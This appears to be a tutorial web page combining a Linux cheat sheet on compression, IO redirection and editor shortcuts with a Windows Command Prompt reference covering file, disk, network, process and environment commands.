    Compression and archiving files is an important task when it comes to handling disk space, putting some order in the files, and transferring the data to a destination with sense. There are many tools available for use in Linux for compressing, decompressing, and archiving files. Original (Link)Introduction to Frequently Used Commands of File Compression & File Archiving with a Detailed Table

    Compression Squashes Files So They Transfer Easier An archiving collects multiple files into one file before compressing it. Common tools include gzip, bzip2, xz for compression, and tar for archiving.

    File Compression and Archiving Commands Table

    CommandDescriptionOptionsExample
    tarArchives multiple files into a single file-c (create), -x (extract), -v (verbose), -f (file), -z (gzip), -j (bzip2), -J (xz)tar -czvf archive.tar.gz /path/to/dir
    gzipCompresses files-d (decompress), -k (keep original)gzip file.txt
    gunzipDecompresses .gz filesN/Agunzip file.txt.gz
    bzip2Compresses files using bzip2-d (decompress), -k (keep original)bzip2 file.txt
    bunzip2Decompresses .bz2 filesN/Abunzip2 file.txt.bz2
    xzCompresses files using xz-d (decompress), -k (keep original)xz file.txt
    unxzDecompresses .xz filesN/Aunxz file.txt.xz
    zipCreates ZIP archives-r (recursive), -d (delete)zip archive.zip file1 file2
    unzipExtracts ZIP archives-l (list), -d (extract to directory)unzip archive.zip
    rarCreates RAR archives-a (add), -x (extract), -v (verbose)rar a archive.rar file1 file2
    unrarExtracts RAR archives-l (list), -e (extract)unrar e archive.rar

    Examples and Usage

    tar (Tape Archive)

    The tar command is used to create and manipulate archive files.

    tar -czvf archive.tar.gz /path/to/dir     # Creates a gzip-compressed archive of a directory
    tar -xzvf archive.tar.gz                  # Extracts a gzip-compressed archive
    tar -cjvf archive.tar.bz2 /path/to/dir    # Creates a bzip2-compressed archive of a directory
    tar -xjvf archive.tar.bz2                 # Extracts a bzip2-compressed archive
    tar -cJvf archive.tar.xz /path/to/dir     # Creates an xz-compressed archive of a directory
    tar -xJvf archive.tar.xz                  # Extracts an xz-compressed archive

    gzip (GNU Zip)

    The gzip command compresses files.

    gzip file.txt                            # Compresses file.txt, resulting in file.txt.gz
    gzip -d file.txt.gz                      # Decompresses file.txt.gz, resulting in file.txt
    gzip -k file.txt                         # Compresses file.txt and keeps the original file

    gunzip (GNU Unzip)

    The gunzip command decompresses .gz files.

    gunzip file.txt.gz                       # Decompresses file.txt.gz, resulting in file.txt

    bzip2 (Bzip2 Compression)

    The bzip2 command compresses files using the bzip2 algorithm.

    bzip2 file.txt                           # Compresses file.txt, resulting in file.txt.bz2
    bzip2 -d file.txt.bz2                    # Decompresses file.txt.bz2, resulting in file.txt
    bzip2 -k file.txt                        # Compresses file.txt and keeps the original file

    bunzip2 (Bzip2 Decompression)

    The bunzip2 command decompresses .bz2 files.

    bunzip2 file.txt.bz2                     # Decompresses file.txt.bz2, resulting in file.txt

    xz (XZ Compression)

    The xz command compresses files using the xz algorithm.

    xz file.txt                              # Compresses file.txt, resulting in file.txt.xz
    xz -d file.txt.xz                        # Decompresses file.txt.xz, resulting in file.txt
    xz -k file.txt                           # Compresses file.txt and keeps the original file

    unxz (XZ Decompression)

    The unxz command decompresses .xz files.

    unxz file.txt.xz                         # Decompresses file.txt.xz, resulting in file.txt

    zip (ZIP Archive)

    The zip command creates ZIP archives.

    zip archive.zip file1 file2              # Creates a ZIP archive containing file1 and file2
    zip -r archive.zip /path/to/dir          # Recursively adds a directory to a ZIP archive
    zip -d archive.zip file1                 # Deletes file1 from the ZIP archive

    unzip (Unzip Archive)

    The unzip command extracts ZIP archives.

    unzip archive.zip                        # Extracts the contents of the ZIP archive
    unzip -l archive.zip                     # Lists the contents of the ZIP archive
    unzip archive.zip -d /path/to/dir        # Extracts the contents to a specific directory

    rar (RAR Archive)

    The rar command creates RAR archives.

    rar a archive.rar file1 file2            # Creates a RAR archive containing file1 and file2
    rar x archive.rar                        # Extracts the contents of the RAR archive
    rar l archive.rar                        # Lists the contents of the RAR archive

    unrar (Unrar Archive)

    The unrar command extracts RAR archives.

    unrar e archive.rar                      # Extracts the contents of the RAR archive
    unrar l archive.rar                      # Lists the contents of the RAR archive

    #8. IO Redirection Commands in Linux

    A feature of Linux, which we will be looking at in this article, is IO (Input/Output) redirection. For example for the redirection of the output of commands to files or the chaining of commands together or the conditional handling of errors, etc. In this tutorial, we present an introduction to the most used IO redirection commands: a comprehensive table where we describe their usage formally.

    In Linux, every process is associated with three standard IO streams:

    • Standard Input (stdin): The default source of input (usually the keyboard). File descriptor is 0.
    • Standard Output (stdout): The default destination of output (usually the terminal). File descriptor is 1.
    • Standard Error (stderr): The default destination for error messages (usually the terminal). File descriptor is 2.

    Redirection allows you to change the default source or destination of these streams.

    IO Redirection Commands Table

    CommandDescriptionSyntaxExample
    >Redirects stdout to a file (overwrite)command > filels > output.txt
    >>Redirects stdout to a file (append)command >> filels >> output.txt
    <Redirects stdin from a filecommand < filesort < input.txt
    2>Redirects stderr to a file (overwrite)command 2> filels nonexist > output.txt 2> error.txt
    2>>Redirects stderr to a file (append)command 2>> filels nonexist >> output.txt 2>> error.txt
    &>Redirects both stdout and stderr to a file (overwrite)command &> filels &> output.txt
    &>>Redirects both stdout and stderr to a file (append)command &>> filels &>> output.txt
    |Pipes stdout of one command to stdin of anothercommand1 | command2ls | grep txt
    teeReads from stdin and writes to stdout and filescommand | tee filels | tee output.txt
    <<Here document for providing multi-line inputcommand << delimiter ... delimitercat << EOF ... EOF
    <&Duplicates stdincommand <&nread var <&0
    >&Duplicates stdoutcommand >&necho "message" >&2

    Examples and Usage

    Redirecting Standard Output

    > (Overwrite)

    Redirects the standard output of a command to a file, overwriting the file if it exists.

    ls > output.txt                    # Redirects the output of ls to output.txt, overwriting it
    >> (Append)

    Redirects the standard output of a command to a file, appending to the file if it exists.

    ls >> output.txt                   # Appends the output of ls to output.txt

    Redirecting Standard Input

    < (Input Redirection)

    Redirects the standard input of a command from a file.

    sort < input.txt                   # Takes input for sort from input.txt

    Redirecting Standard Error

    2> (Overwrite)

    Redirects the standard error of a command to a file, overwriting the file if it exists.

    ls nonexist 2> error.txt           # Redirects error messages of ls to error.txt, overwriting it
    2>> (Append)

    Redirects the standard error of a command to a file, appending to the file if it exists.

    ls nonexist 2>> error.txt          # Appends error messages of ls to error.txt

    Redirecting Both Standard Output and Error

    &> (Overwrite)

    Redirects both standard output and standard error to a file, overwriting the file if it exists.

    ls &> output.txt                   # Redirects both output and errors of ls to output.txt, overwriting it
    &>> (Append)

    Redirects both standard output and standard error to a file, appending to the file if it exists.

    ls &>> output.txt                  # Appends both output and errors of ls to output.txt

    Piping Commands

    | (Pipe)

    Pipes the standard output of one command to the standard input of another.

    ls | grep txt                      # Pipes the output of ls to grep to find lines containing 'txt'

    tee Command

    The tee command reads from standard input and writes to both standard output and files.

    ls | tee output.txt                # Writes the output of ls to both the terminal and output.txt

    Here Document

    << (Here Document)

    Allows you to provide multi-line input to a command.

    cat << EOF
    This is a
    multi-line input
    EOF

    Duplicating File Descriptors

    <& (Duplicate stdin)

    Duplicates standard input from another file descriptor.

    read var <&0                       # Reads input from file descriptor 0 (stdin)
    >& (Duplicate stdout)

    Duplicates standard output to another file descriptor.

    echo "message" >&2                 # Sends the message to file descriptor 2 (stderr)

    #9. Shortcuts Commands in Linux

    Many shortcut commands in Linux can help you be more productive. Here are a few of the most common ones:

    9.1: Bash Shortcuts Commands

    Bash, the Bourne Again Shell, provides numerous keyboard shortcuts to improve your efficiency while working in the terminal.

    ShortcutDescriptionExample
    Ctrl + AMove to the beginning of the line
    Ctrl + EMove to the end of the line
    Ctrl + UCut (kill) the line before the cursor
    Ctrl + KCut (kill) the line after the cursor
    Ctrl + YPaste (yank) the cut text
    Ctrl + WCut the word before the cursor
    Ctrl + RSearch through command history
    Ctrl + LClear the screen (same as clear command)
    !!Repeat the last command!!
    !nRepeat the nth command from history!5 (repeats the 5th command)
    Ctrl + CInterrupt/Kill the current process
    Ctrl + DLogout from the current session

    9.2: Nano Shortcuts Commands

    Nano is a simple, user-friendly text editor. Here are some essential shortcuts for efficient editing.

    ShortcutDescription
    Ctrl + OWrite out (save) the file
    Ctrl + XExit nano
    Ctrl + KCut the current line
    Ctrl + UPaste the cut text
    Ctrl + WSearch within the file
    Ctrl + JJustify the current paragraph
    Ctrl + CShow the current cursor position
    Ctrl + GDisplay help
    Ctrl + \Replace text
    Alt + AStart selecting text
    Alt + 6Copy the selected text

    9.3: VI Shortcuts Commands

    VI is a powerful text editor that comes pre-installed on most Unix systems. Here are some common shortcuts for both command and insert modes.

    ShortcutDescription
    iSwitch to insert mode
    EscSwitch to command mode
    :wSave the file
    :qQuit VI
    :wqSave and quit VI
    :q!Quit without saving
    ddDelete the current line
    yyYank (copy) the current line
    pPaste the yanked text
    /patternSearch for a pattern
    uUndo the last change
    Ctrl + RRedo the last undone change
    ggGo to the beginning of the file
    GGo to the end of the file
    xDelete the character under the cursor

    9.4: Vim Shortcuts Commands

    Vim, an enhanced version of VI, provides additional shortcuts and functionalities. Here are some common Vim shortcuts for productivity.

    ShortcutDescription
    :wSave the file
    :qQuit Vim
    :wqSave and quit Vim
    :q!Quit without saving
    ddDelete the current line
    yyYank (copy) the current line
    pPaste the yanked text
    /patternSearch for a pattern
    uUndo the last change
    Ctrl + RRedo the last undone change
    ggGo to the beginning of the file
    GGo to the end of the file
    xDelete the character under the cursor
    :set nuShow line numbers
    :set nonuHide line numbers
    vStart visual mode (select text)
    Ctrl + VStart visual block mode

    These shortcuts can significantly enhance your productivity by making navigation and editing in the terminal and text editors more efficient. Keep this cheatsheet handy as a quick reference while working on your Linux system.

  • The Ultimate Cheat Sheet For Windows Command Line

    The Ultimate Cheat Sheet For Windows Command Line

    You might be wondering, “Why should I even bother with the Command Line?” Well, good question! The Command Line is a powerful tool that lets you control your computer with just a few keystrokes. It’s convenient for tasks like managing files, troubleshooting issues, and even automating repetitive tasks.

    This guide will walk you through the essential commands, from the basics of navigating your system to more advanced techniques.

    What is the command line

    The command line is a view of the operating system (OS) in text format. It is also called the console or terminal. It looks like a black window with white text. Using such a program you can control your computer, programs, or external devices. This can be useful if you want to do something that GUIs don’t allow you to do. To do this, the user must enter text commands.

    How to Open Command Prompt in Windows as Administrator

    The command line, when opened without special settings, works in normal user mode. This means that she does not have special rights that allow her to make changes to the system. There are many ways to open the command line using keys or, for example, through search.

    1. Via โ€œStartโ€

    Start is the main menu in Windows. It allows you to access various programs, documents, and system settings. โ€œStartโ€ is located in the lower-left corner of the screen and resembles a rectangle divided into four parts – this is the operating system logo. The corresponding icon can also be seen on the keyboard.

    How to open the command line in Windows via Start? First, click on the OS logo icon on the taskbar or keyboard. In Windows 8 and 10, in the list of programs, select โ€œWindows Toolsโ€, and in Windows 11 โ€“ โ€œAll applicationsโ€ โ†’ โ€œWindows Toolsโ€. Then find “Command Prompt” and right-click. In “Advanced” use “Run as administrator”. Then the โ€œDo you want to allow this app to make changes on your device?โ€ window will appear. Click Yes.

    2. “Search”

    Open Start, click the magnifying glass icon on the taskbar or use the search box. Type “Command Prompt” on your keyboard. Then there are two options. Either use โ€œRun as administratorโ€ in the list that appears on the right, or right-click on the application icon under โ€œBest Matchโ€ on the left.

    3. “Task Manager”

    Right-click on the taskbar and select “Task Manager”. Or use the key combination Ctrl+Shift+Esc. Click File โ†’ Run New Task. The command line is a program, and in Windows operating systems it is called cmd. Therefore, like any other file, it can be opened through the โ€œTask Managerโ€. In the new window, type cmd and leave a checkmark next to โ€œCreate a task with administrator rights.โ€ Click OK.

    A faster option: select “File”, hold down the Ctrl key and click “Run new task”.

    4. System32 folder

    The command line can be used through the folder where the program is stored. Open Explorer โ†’ My Computer โ†’ Local Disk (C:) โ†’ Windows โ†’ System32. Find the cmd.exe application in the folder. Right-click on it โ†’ โ€œRun as administrator.โ€ Another way is to select the cmd.exe application and click on โ€œApplication Toolsโ€ at the top of the Explorer window. Then select “Run as administrator”.

    5. Create a Shortcut

    You can also create a shortcut for cmd.exe with admin rights. Right-click on the application, select “Send to” โ†’ “Desktop (create shortcut)”. On your desktop, right-click the cmd.exe shortcut again. Select Properties โ†’ Shortcut โ†’ Advanced. Check the box next to โ€œRun as administratorโ€. Confirm and launch the application.

    Desktop shortcuts are created for quick access to files, folders, programs and other objects. They allow you to save time on finding and launching the necessary objects, and also simplify the organization of your workspace on the screen. With the cmd shortcut on your desktop, you can easily access the command line.

    6. “Explorer”

    Explorer is a file manager that allows you to manage content on your computer. With it, you can create new folders, delete old ones, copy and move files between them. Explorer also allows you to view the properties of elements, change their characteristics and perform other operations.

    Open File Explorer โ†’ My Computer. Type cmd.exe in the search. When your computer finds the file, right-click on it and select โ€œRun as administrator.โ€

    7. “Run”

    Run is an application that allows you to quickly open a program, document, or website. To open a window with a command, simultaneously press the Windows key and the R button. Type cmd in the line, and then hold down the combination Ctrl+Shift+Enter. The command line will work with admin rights.

    8. PowerShell

    Modern versions of Windows use a command-line-like, pumped-up PowerShell program. It has a blue background and works on a different principle. At the same time, with its help, you can both open the cmd command line and perform other tasks. Press Win+X and select โ€œWindows PowerShell (Admin).โ€ Or use Win+R, type powershell and press Ctrl+Shift+Enter. Then type cmd and click Enter.

    What is the command line for?

    The command line can be compared to hotkeys. Only they are used not for one program, but for the entire operating system. This allows you to change hundreds of computer settings using the command line. And also take advantage of useful programs without leaving one window. Here are some of the most popular tasks.

    1. Computer diagnostics

    The command line allows you to fix errors in Windows. A special scan helps restore damaged or deleted system files. To run diagnostics, enter sfc /scannow at the command prompt. The window cannot be closed until the operation is completed.

    2. System Restore

    You can check your computer’s hard drive for errors. To do this, use the chkdsk C command. Instead of C, you can specify the letter of another drive. For additional actions, you need to specify parameters. For example, the command chkdsk C: /F /R means that the computer will check drive C. The letter F means that errors will be automatically corrected, and R means that the computer will check for bad sectors and try to recover information (R).

    3. Working with disks

    You can also manage your computer’s disks. To do this, use the diskpart command. With its help, you can change partitions, size, names, format drives, and carry out other operations. The full list of functions can be viewed using the diskpart help command.

    4. Internet check

    Command Prompt allows you to see your computer’s IP address. To do this, write ipconfig. If you need to determine the MAC address, enter getmac /v. You can also check the stability of the connection. For example, write the command ping hi-tech.mail.ru. The computer will send the data to our website and determine how quickly it will be returned. This way you will know if your Internet is working. The response time will indicate the quality of the connection. A good indicator is up to 40 ms.

    5. Working with folders

    You can replace Command Prompt with Explorer. With its help, you can access folders. The main command is called cd. It means changing the directory. For example, to open drive C, enter cd c:\. To access the folder inside, enter cd “folder name”. If there are spaces in the path name, add quotes.

    6. Working with files

    You can also open files or programs. To launch applications, you need to use the same cd command as with folders. However, please include the full file name and extension at the end of the address.

    7. Checking active processes

    You don’t need to use Task Manager to find out what programs are open on your computer. Type tasklist in the command line and you will see a similar list. The list will display all running processes and the memory they are consuming.

    Basic Command Line Operations

    Let’s start with some basic command line operations. Here’s a handy table that breaks down the essential commands, how to use them, and some examples to get you going.

    CommandUsageExample
    cdChange directorycd C:\Users\YourName\Documents
    dirList files and directoriesdir
    treeDisplay directory tree structuretree C:\Users\YourName
    copyCopy files from one location to anothercopy file.txt D:\Backup\file.txt
    moveMove files from one location to anothermove file.txt D:\Backup\file.txt
    delDelete filesdel file.txt
    mkdirCreate a new directorymkdir NewFolder
    rmdirRemove a directoryrmdir /S /Q OldFolder
    typeDisplay contents of a text filetype file.txt
    renameRename a file or directoryrename oldname.txt newname.txt
    clsClear the screencls
    exitClose the Command Prompt windowexit

    These commands are your bread and butter for navigating and managing files and directories on your computer. Give them a try and see how they can make your tasks easier and faster!

    Files and Folders Management

    File and Folder management is also one of the most basic tasks that you perform on a computer. Whether you are organizing your files, backing up important data, or getting rid of files you no longer need knowing how to properly manage them can help save time and space. The Windows Command Line gives you a robust and capable set of tools to carry out many of the same jobs you can do in the GUI and some you can frequently with a finer level of control and precision, too.

    At its most fundamental level, the operation of file and folder management is the basic manipulation of files and directories/files in a file system. But it doesn’t stop there. As you navigate through the file system you can also modify file attributes, set permissions, search for files, and even automate repetitive tasks with scripts. The command line lets you do this not only on your own machine but on machines connected to your network, which is a critical tool for everyday users as well as IT pros.

    Automation is one of the biggest benefits of using the command line for file management. You can set things up like have a script to back up documents with the plan being executed nightly, or a batch file that can clean out temporary files for different directories in just a command.

    CommandUsageExample
    cdChange the current directorycd C:\Users\YourName\Documents
    dirList files and directories in the current directorydir
    treeDisplay directory tree structuretree C:\Users\YourName
    copyCopy one or more files to another locationcopy file.txt D:\Backup\file.txt
    xcopyCopy files and directories, including subdirectoriesxcopy C:\Folder D:\Backup\Folder /E
    robocopyRobust file copy for mirroring directoriesrobocopy C:\Folder D:\Backup\Folder /MIR
    moveMove files from one location to anothermove file.txt D:\Backup\file.txt
    delDelete one or more filesdel file.txt
    eraseAnother command to delete fileserase file.txt
    mkdirCreate a new directorymkdir NewFolder
    mdAlias for mkdirmd NewFolder
    rmdirRemove a directoryrmdir /S /Q OldFolder
    rdAlias for rmdirrd /S /Q OldFolder
    typeDisplay contents of a text filetype file.txt
    moreView file content one screen at a timemore file.txt
    renameRename a file or directoryrename oldname.txt newname.txt
    renAlias for renameren oldname.txt newname.txt
    attribDisplay or change file attributesattrib +r file.txt
    caclsDisplay or modify access control lists (ACLs)cacls file.txt /G YourName:F
    icaclsDisplay, modify, backup, or restore ACLs for filesicacls file.txt /grant YourName:F
    compactDisplay or alter the compression of filescompact /c file.txt
    diskpartManage disks, partitions, or volumesdiskpart (and then use DISKPART commands)
    takeownTake ownership of a file or directorytakeown /F file.txt
    icaclsChange ownership of a file or directoryicacls file.txt /setowner YourName
    findSearch for a text string in a file or filesfind "search text" file.txt
    findstrSearch for strings in filesfindstr "search text" *.txt
    fcCompare two files and display differencesfc file1.txt file2.txt
    mklinkCreate symbolic links and hard linksmklink link.txt target.txt
    fsutilFile system utility to manage volumesfsutil file createnew file.txt 1024
    pushdSave the current directory and change to a new onepushd D:\Backup
    popdRestore the previous directory saved by pushdpopd
    substAssociate a path with a drive lettersubst X: C:\Path\To\Folder
    chkdskCheck a disk and display a status reportchkdsk C: /F
    cipherEncrypt or decrypt files and directoriescipher /E /S:C:\Users\YourName\Documents
    recoverRecover readable information from a bad or defective diskrecover C:\Folder\file.txt
    fsutilPerform tasks related to file systems or disksfsutil fsinfo drives
    attribChange file attributesattrib +r -s -h file.txt
    volDisplay the disk volume label and serial numbervol C:
    labelCreate, change, or delete the volume labellabel C: MyDrive

    These commands should give you a solid foundation for managing files and folders on your Windows system.

    Disks Management

    Disk management is an important factor to keep your computer healthy and fast. Whether you are setting up a new system or upgrading storage or trying to fix a problem, a good understanding of disk management commands can be very beneficial. Windows Command Line has powerful set of tools that help in doing disk related things very quickly and almost 100% achieve the level of preciseness.

    Disk management is a domain that includes specially partitioning, formatting, and checking your physical drive health. Command-line tools allow you to have more control and flexibility over these processes compared to using graphical interfaces only.

    Partitioning is also one of the main functions in disk management. Partitions carve up the physical disk into distinct sections that can be managed individually. This enables you to better organize the data and can increase the system efficiency. You could also specify different partitions for the OS, Apps, and Home folders, for example The command line supplies commands to create, destroy, and manipulate these partitions with great accuracy.

    CommandUsageExample
    diskpartEnter DiskPart command interpreter for managing disks and partitionsdiskpart
    list diskList all disks connected to the system (within DiskPart)list disk (after starting DiskPart)
    select diskSelect a specific disk to work with (within DiskPart)select disk 0
    list partitionList partitions on the selected disk (within DiskPart)list partition
    select partitionSelect a specific partition to work with (within DiskPart)select partition 1
    create partitionCreate a new partition (within DiskPart)create partition primary size=10240
    delete partitionDelete a selected partition (within DiskPart)delete partition
    extendExtend the volume of the selected partition (within DiskPart)extend size=2048
    shrinkShrink the volume of the selected partition (within DiskPart)shrink desired=1024
    assignAssign a drive letter or mount point to the selected partition (within DiskPart)assign letter=E
    removeRemove a drive letter or mount point (within DiskPart)remove letter=E
    formatFormat a disk or partitionformat E: /FS:NTFS /Q
    chkdskCheck a disk and display a status reportchkdsk C: /F
    defragDefragment a diskdefrag C:
    diskperfManage disk performance countersdiskperf -y
    convertConvert a volume from one file system to anotherconvert E: /FS:NTFS
    fsutilPerform tasks related to file systems or disksfsutil fsinfo drives
    mountvolCreate, delete, or list a volume mount pointmountvol E: /D
    vssadminManage Volume Shadow Copy Servicevssadmin list shadows
    diskraidGUI-based disk management tooldiskraid
    wmicUse Windows Management Instrumentation Command to manage diskswmic diskdrive get status
    sfcSystem File Checker to scan and repair protected system filessfc /scannow
    dismDeployment Image Servicing and Management tool to service Windows imagesdism /Online /Cleanup-Image /RestoreHealth
    bcdeditManage Boot Configuration Databcdedit /enum
    diskshadowCreate and manage volume shadow copiesdiskshadow
    diskmgmt.mscOpen Disk Management consolediskmgmt.msc (Run command)
    partassistPartition Assistant command line utilitypartassist /cmd=cre /pri /size=10240 /disk=1
    get-diskPowerShell command to get disk informationGet-Disk
    new-partitionPowerShell command to create a new partitionNew-Partition -DiskNumber 1 -Size 10GB -DriveLetter E
    format-volumePowerShell command to format a volumeFormat-Volume -DriveLetter E -FileSystem NTFS -NewFileSystemLabel "Data"
    resize-partitionPowerShell command to resize a partitionResize-Partition -DriveLetter E -Size 20GB
    repair-volumePowerShell command to repair a volumeRepair-Volume -DriveLetter C -OfflineScanAndFix

    System Information

    Knowing how to find and control your computer system information is important for making your performance stay primo, fixing your problems, or making sure your system can run specific software and tasks. The Windows Command Line includes a suite of more than 280 individual commands that you can use to display detailed information about your system’s hardware and software configuration.

    System information includes such data points as the CPU, memory, storage, and network interfaces, and various aspects of the system like the operating system, which software is installed, and what processes are running. Easily accessible information that can be used to make informed decisions on upgrades, diagnose performance bottlenecks, and troubleshoot other issues with the system.

    CommandUsageExample
    systeminfoDisplay detailed system informationsysteminfo
    hostnameShow the computerโ€™s hostnamehostname
    verDisplay the Windows versionver
    wmic os getRetrieve various OS informationwmic os get Caption, Version, BuildNumber
    wmic biosGet BIOS informationwmic bios get Manufacturer, Name, Version
    wmic cpuDisplay CPU informationwmic cpu get Name, NumberOfCores, NumberOfLogicalProcessors
    wmic memorychipRetrieve memory informationwmic memorychip get Capacity, Manufacturer, Speed
    wmic diskdriveGet information about disk driveswmic diskdrive get Model, Size, Status
    msinfo32Open the System Information toolmsinfo32 (Run command)
    dxdiagOpen the DirectX Diagnostic Tooldxdiag (Run command)
    tasklistList all running processestasklist
    tasklist /svcList services hosted in each processtasklist /svc
    tasklist /mList all DLL modules loaded by each processtasklist /m
    taskkillTerminate a running processtaskkill /PID 1234
    netstatDisplay network connections, routing tables, and interface statisticsnetstat -an
    ipconfigDisplay IP configurationipconfig
    ipconfig /allShow detailed IP configurationipconfig /all
    ipconfig /releaseRelease all IP addressesipconfig /release
    ipconfig /renewRenew all IP addressesipconfig /renew
    pingTest connectivity to a network hostping google.com
    tracertTrace the route packets take to a network hosttracert google.com
    getmacDisplay MAC addresses for network adaptersgetmac
    netshConfigure and display network settingsnetsh interface ip show config
    whoamiDisplay the currently logged-in userwhoami
    echo %username%Display the current usernameecho %username%
    powercfg /batteryreportGenerate a battery report (laptops)powercfg /batteryreport
    powercfg /energyGenerate a system energy reportpowercfg /energy
    gpresult /RDisplay Resultant Set of Policy (RSOP) for user and computergpresult /R
    net userDisplay user account informationnet user
    systeminfo /S <computer>Retrieve system information from a remote computersysteminfo /S remotePC
    query userDisplay information about user sessions on a terminal serverquery user
    sc queryDisplay information about running servicessc query
    sc qcDisplay configuration information for a servicesc qc servicename
    schtasksDisplay scheduled tasksschtasks /query /fo LIST /v
    reg queryDisplay registry informationreg query HKLM\Software\Microsoft\Windows\CurrentVersion
    fsutil fsinfoDisplay file system informationfsutil fsinfo drives

    Network Commands

    Setting up and maintaining network configurations helps maintain solid connectivity and high performance in your computer systems. From setting up a small home network to troubleshooting connectivity issues over a VPN Windows Command Line commands offer a robust set of tools help you to manage and diagnose your network related tasks.

    There are many network components and settings which are done when you install an operating system (OS) to your machine, in this guide I will only talk a little about IP address configuration. Being able to control these components via the command line can not only strengthen the stability of your network, it also offer more power and freedom compared to GUIs.

    CommandUsageExample
    ipconfigDisplay IP configurationipconfig
    ipconfig /allShow detailed IP configurationipconfig /all
    ipconfig /releaseRelease all IP addressesipconfig /release
    ipconfig /renewRenew all IP addressesipconfig /renew
    ipconfig /flushdnsFlush DNS resolver cacheipconfig /flushdns
    ipconfig /displaydnsDisplay DNS resolver cacheipconfig /displaydns
    pingTest connectivity to a network hostping google.com
    ping -tPing a host continuouslyping -t google.com
    ping -nPing a host a specific number of timesping -n 10 google.com
    tracertTrace the route packets take to a network hosttracert google.com
    tracerouteAlias for tracert on some systemstraceroute google.com
    pathpingCombine ping and tracert to locate network issuespathping google.com
    netstatDisplay network connections, routing tables, and interface statisticsnetstat -an
    netstat -eDisplay Ethernet statisticsnetstat -e
    netstat -rDisplay routing tablenetstat -r
    netstat -sDisplay per-protocol statisticsnetstat -s
    arpDisplay and modify the ARP cachearp -a
    nslookupQuery the DNS to obtain domain name or IP address mappingnslookup google.com
    routeDisplay and modify the IP routing tableroute print
    route addAdd a static route to the routing tableroute add 192.168.1.0 mask 255.255.255.0 192.168.1.1
    route deleteDelete a route from the routing tableroute delete 192.168.1.0
    getmacDisplay MAC addresses for network adaptersgetmac
    netshConfigure and display network settingsnetsh interface ip show config
    netsh wlanManage wireless networksnetsh wlan show profiles
    netsh advfirewallManage Windows Firewall settingsnetsh advfirewall set allprofiles state off
    nbtstatDisplay NetBIOS over TCP/IP statistics and resolve NetBIOS namesnbtstat -a computername
    telnetConnect to a remote host using Telnettelnet towel.blinkenlights.nl
    ftpTransfer files to/from a remote host using FTPftp ftp.example.com
    sftpSecurely transfer files to/from a remote host using SFTPsftp [email protected]
    sshSecurely connect to a remote host using SSHssh [email protected]
    netCommand for network operationsnet view
    net viewView network resourcesnet view \\servername
    net useConnect to or disconnect from a shared resourcenet use Z: \\servername\sharename
    net userManage user accountsnet user username /add
    net startStart a network servicenet start servicename
    net stopStop a network servicenet stop servicename
    net shareCreate and manage shared resourcesnet share sharename=C:\Path\To\Folder
    netsh interfaceConfigure network interfacesnetsh interface ipv4 set address "Local Area Connection" static 192.168.1.100 255.255.255.0 192.168.1.1
    netsh lanManage local area network settingsnetsh lan show profiles
    netsh int ip resetReset TCP/IP stacknetsh int ip reset resetlog.txt

    Applications and Processes

    Being able to manage applications and processes is a key skill that will help prevent your operating system from bogging down, and that will keep you in control of what your computer is doing at all times. For troubleshooting non-responsive applications, performance optimization or process control and resource management, the Windows Command Line provides various tools to manage such efficiently and that too, in a proper way.

    An application is just a piece of software that you use on a computer – like a web browser, your favorite word processing app, or a game. Processes, alternatively, are running program instances. Every running app is represented by one or more processes, not just the primary executable, but any supporting processes or background services.

    CommandUsageExample
    startStart a program or open a documentstart notepad.exe
    tasklistDisplay a list of currently running processestasklist
    taskkillTerminate a running processtaskkill /PID 1234
    taskkill /IMTerminate a process by its nametaskkill /IM notepad.exe
    wmic process listDisplay detailed information about processeswmic process list brief
    wmic process whereFilter and display process informationwmic process where "name='notepad.exe'" get ProcessId
    taskmgrOpen Task Managertaskmgr
    sc queryDisplay information about running servicessc query
    sc startStart a servicesc start servicename
    sc stopStop a servicesc stop servicename
    sc configConfigure a servicesc config servicename start= auto
    net startStart a network servicenet start servicename
    net stopStop a network servicenet stop servicename
    schtasksSchedule commands and programs to run at a specific timeschtasks /create /tn "MyTask" /tr "C:\Path\To\Program.exe" /sc daily /st 09:00
    atSchedule commands and programs to run at a specific time (deprecated)at 14:00 /interactive "C:\Path\To\Program.exe"
    powershellRun PowerShell commands or scriptspowershell Start-Process notepad
    runasRun a program as another userrunas /user:administrator cmd
    shutdownShutdown or restart the computershutdown /r /t 0
    logoffLog off the current userlogoff
    msgSend a message to another usermsg username "Your message here"
    sfcSystem File Checker to scan and repair protected system filessfc /scannow
    dismDeployment Image Servicing and Management tool to service Windows imagesdism /Online /Cleanup-Image /RestoreHealth
    get-processPowerShell command to get a list of processesGet-Process
    stop-processPowerShell command to stop a processStop-Process -Name notepad
    start-processPowerShell command to start a processStart-Process -FilePath "C:\Path\To\Program.exe"
    get-servicePowerShell command to get the status of servicesGet-Service
    start-servicePowerShell command to start a serviceStart-Service -Name servicename
    stop-servicePowerShell command to stop a serviceStop-Service -Name servicename
    restart-servicePowerShell command to restart a serviceRestart-Service -Name servicename
    set-servicePowerShell command to change the startup type of a serviceSet-Service -Name servicename -StartupType Automatic
    wmic serviceDisplay detailed information about serviceswmic service get name, startmode, state
    wmic service whereFilter and display service informationwmic service where "name='servicename'" get startmode, state

    Command Line Setup

    Prepare Command Line EnvironmentThis is something basic and every one should do if you ever need to take help of Windows Command Line. Configuring your command line to fit in with your workflow will make the experience of using CLI much more pleasant โ€” no matter whether you are a developer, system administrator or just a casual user.

    The command line (Command Prompt is another name for this) is a classic text-based user interface where you can execute commands by giving text instructions. The command line provides more precision and power than graphical interfaces which allow you to perform complex tasks with a few keystrokes. Tailoring and setting up your command line environment the way you want it can help you work faster and automate everyday tasks, or just create the best possible environment for the way you work.

    CommandUsageExample
    promptCustomize the command prompt appearanceprompt $P$G
    colorChange the color of the command prompt text and backgroundcolor 0A
    titleSet the title of the Command Prompt windowtitle My Custom Command Prompt
    clsClear the command prompt screencls
    doskeyCreate command aliases and recall command historydoskey ls=dir /B
    setSet or display environment variablesset PATH=C:\MyPrograms;%PATH%
    echoDisplay messages or turn command echoing on or offecho Hello, World!
    chcpDisplay or set the active code page numberchcp 65001
    modeConfigure system devices, like setting the window sizemode con: cols=120 lines=30
    assocDisplay or modify file extension associationsassoc .txt=txtfile
    ftypeDisplay or modify file types used in file extension associationsftype txtfile=C:\Windows\System32\NOTEPAD.EXE %1
    pathDisplay or set the search path for executable filespath C:\MyPrograms;%path%
    regManage the registry from the command linereg add HKCU\Software\MyApp /v MyValue /t REG_SZ /d MyData
    setxSet environment variables permanentlysetx PATH "C:\MyPrograms;%PATH%"
    powershellLaunch PowerShell from the Command Promptpowershell
    cmdkeyManage stored usernames and passwordscmdkey /add:server /user:username /pass:password
